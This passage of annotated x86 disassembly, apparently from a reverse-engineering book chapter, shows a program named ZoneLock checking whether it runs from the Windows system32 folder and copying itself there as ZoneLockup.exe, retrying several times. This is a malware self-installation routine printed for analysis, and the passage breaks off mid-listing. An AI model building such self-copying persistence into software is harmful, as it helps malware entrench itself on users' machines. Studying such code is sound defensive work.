0040266A INC EAX
0040266B CMP BYTE PTR DS:[ECX+EAX],0
0040266F JNZ SHORT ZoneLock.0040266A
00402671 MOV EBX,EAX
00402673 PUSH EBX ; Count
00402674 PUSH ZoneLock.00404540 ; String = “C:\WINNT\SYSTEM32\
ZoneLockup.exe”
00402679 CALL <JMP.&USER32.CharUpperBuffA>
0040267E LEA ECX,DWORD PTR DS:[404010]
00402684 OR EAX,FFFFFFFF
00402687 INC EAX
00402688 CMP BYTE PTR DS:[ECX+EAX],0
0040268C JNZ SHORT ZoneLock.00402687
0040268E MOV EBX,EAX
00402690 PUSH EBX ; Count
00402691 PUSH ZoneLock.00404010 ; String = “C:\WINNT\system32”
00402696 CALL <JMP.&USER32.CharUpperBuffA>
0040269B PUSH 0
0040269D CALL ZoneLock.004019CB
004026A2 ADD ESP,4
004026A5 PUSH ZoneLock.00404010 ; s2 = “C:\WINNT\system32”
004026AA PUSH ZoneLock.00404540 ; s1 = “C:\WINNT\SYSTEM32\
ZoneLockup.exe”
004026AF CALL <JMP.&CRTDLL.strstr>
004026B4 ADD ESP,8
004026B7 CMP EAX,0
004026BA JNZ SHORT ZoneLock.00402736
004026BC PUSH ZoneLock.00405094 ; src = “ZoneLockup.exe”
004026C1 PUSH ZoneLock.00404010 ; dest = “C:\WINNT\system32”
004026C6 CALL <JMP.&CRTDLL.strcat>
004026CB ADD ESP,8
004026CE MOV EDI,0
004026D3 JMP SHORT ZoneLock.004026E0
004026D5 PUSH 1F4 ; Timeout = 500. ms
004026DA CALL <JMP.&KERNEL32.Sleep>
004026DF INC EDI
004026E0 PUSH 0 ; FailIfExists = FALSE
004026E2 PUSH ZoneLock.00404010 ; NewFileName =
“C:\WINNT\system32”
004026E7 PUSH ZoneLock.00404540 ; ExistingFileName = “C:\WINNT\
SYSTEM32\ZoneLockup.exe”
004026EC CALL <JMP.&KERNEL32.CopyFileA>
004026F1 OR EAX,EAX
004026F3 JNZ SHORT ZoneLock.004026FA
004026F5 CMP EDI,5
004026F8 JL SHORT ZoneLock.004026D5
004026FA PUSH ZoneLock.00404540 ; <%s> = “C:\WINNT\SYSTEM32\Listing 8.3 (continued)292 Chapter 8